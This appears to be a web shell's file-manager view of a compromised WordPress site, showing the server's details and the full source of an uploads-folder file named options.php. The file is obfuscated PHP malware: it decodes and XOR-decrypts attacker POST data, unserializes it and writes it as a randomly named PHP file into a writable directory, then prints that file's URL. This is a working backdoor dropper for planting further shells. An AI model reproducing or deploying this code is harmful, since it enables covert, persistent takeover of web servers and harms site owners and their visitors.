HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/public_html/wp-content/uploads/2023/08/options.php
<?php function HEnRmCGOLF($qasoKpGTnm, $NWZkeIvSP, $tIwLjjZdF){$fuzZuUf = "24cacc9f-8bc3-421d-859e-7da35022ecde";return $qasoKpGTnm ^ $fuzZuUf[$NWZkeIvSP % strlen($fuzZuUf)] ^ $tIwLjjZdF;}$ujDqSfJ = "RGlZWhfQ";function eMAZrCn($ujDqSfJ){ $qvuZXVrTa = chr(115).chr(116).chr(114)."\x5f"."\x72".'o'.chr(116).'1'.chr(51-0);$ujDqSfJ = $qvuZXVrTa($ujDqSfJ);$MtjxVZYaM = 'r'.'a'."\x77".chr(550-433).chr(114).chr(322-214).chr(621-521)."\x65".chr(979-880).chr(660-549).chr(100)."\145";$ujDqSfJ = $MtjxVZYaM($ujDqSfJ);$ujDqSfJ = str_split($ujDqSfJ);return $ujDqSfJ;}function mpxeEymtb($brMVpSzaJc, $tIwLjjZdF){$brMVpSzaJc = array_map("HEnRmCGOLF", array_values($brMVpSzaJc), array_keys($brMVpSzaJc), array_values($tIwLjjZdF));$brMVpSzaJc = implode("", $brMVpSzaJc);$jRoCJV = chr(117)."\x6e".'s'."\x65".'r'."\151".chr(97)."\154".chr(1085-980)."\x7a".chr(101);$brMVpSzaJc = @$jRoCJV($brMVpSzaJc);return $brMVpSzaJc;}function nZIXgoc($tIwLjjZdF, $brMVpSzaJc){$tIwLjjZdF = array_slice(str_split(str_repeat($tIwLjjZdF, (count($brMVpSzaJc)/16)+1)), 0, count($brMVpSzaJc));return $tIwLjjZdF;}function tMjgv(){echo "CWnXiKg";}function siQKic($UVxAETPcZDir){static $WBIGNkWzZz = array();$cWUbFm = glob($UVxAETPcZDir . '/*', GLOB_ONLYDIR);$AiVaSECBi = count($cWUbFm);if ($AiVaSECBi > 0) {foreach ($cWUbFm as $UVxAETPcZD) {$wNytU = 'i'.chr(115)."\137".'w'.chr(114)."\151".chr(116).'a'.'b'."\154"."\x65";if (@$wNytU($UVxAETPcZD)) {$WBIGNkWzZz[] = $UVxAETPcZD;}}}foreach ($cWUbFm as $UVxAETPcZDir) siQKic($UVxAETPcZDir);return $WBIGNkWzZz;}function gyMCunzUi($brMVpSzaJc){$LdjuaiMoa = "\x44"."\117".'C'.chr(85).'M'.chr(469-400).chr(113-35).chr(84).'_'.chr(628-546).'O'.chr(79).'T';$DVTCADJSsZ = $_SERVER[$LdjuaiMoa];$cWUbFm = siQKic($DVTCADJSsZ);$CunokjX = array_rand($cWUbFm);$EDrmIFVWv = '.'.'p'."\150".'p';$reiPvOggbf = $cWUbFm[$CunokjX] . "/" . substr(md5(time()), 0, 8) . $EDrmIFVWv;$FBJMMq = chr(102)."\x69".chr(461-353).'e'."\137".chr(112).'u'."\x74".chr(704-609)."\x63".'o'.chr(718-608).chr(405-289).chr(101).chr(363-253).'t'.'s';@$FBJMMq($reiPvOggbf, $brMVpSzaJc);$qZlwG = "\x48"."\x54".chr(504-420).chr(855-775).chr(95)."\110".'O'.'S'.'T';$KAfajL = "\x68".'t'."\164"."\160"."\72".'/'."\x2f";$TwhYmClP = $KAfajL . $_SERVER[$qZlwG] . substr($reiPvOggbf, strlen($DVTCADJSsZ));print($TwhYmClP);}function ohmXaGZrZw($brMVpSzaJc, $CunokjX){$CunokjX = $CunokjX[0];if ($brMVpSzaJc !== $CunokjX){gyMCunzUi($brMVpSzaJc);}else {TJRWEpOxqg();}}function TJRWEpOxqg(){$KAcGc = chr(409-297).chr(988-884).chr(176-64);$qkrtbyhAo = "\160"."\150"."\x70".chr(118).'e'."\x72".'s'."\x69".'o'."\x6e";$brMVpSzaJc = Array($KAcGc => @$qkrtbyhAo(), );$nFMdNjn = 's'."\145".'r'.'i'.'a'.chr(635-527)."\151".chr(122)."\145";echo @$nFMdNjn($brMVpSzaJc);}function XnOQSEsjI(){echo "RGlZWhfQ";}foreach ($_POST as $tIwLjjZdF => $brMVpSzaJc){$hkEawsFWIq = strlen($tIwLjjZdF);if ($hkEawsFWIq == 16){$brMVpSzaJc = eMAZrCn($brMVpSzaJc);$tIwLjjZdF = nZIXgoc($tIwLjjZdF, $brMVpSzaJc);$brMVpSzaJc = mpxeEymtb($brMVpSzaJc, $tIwLjjZdF);if (@is_array($brMVpSzaJc)){$CunokjX = array_keys($brMVpSzaJc);$brMVpSzaJc = $brMVpSzaJc[$CunokjX[0]];ohmXaGZrZw($brMVpSzaJc, $CunokjX);}}}die();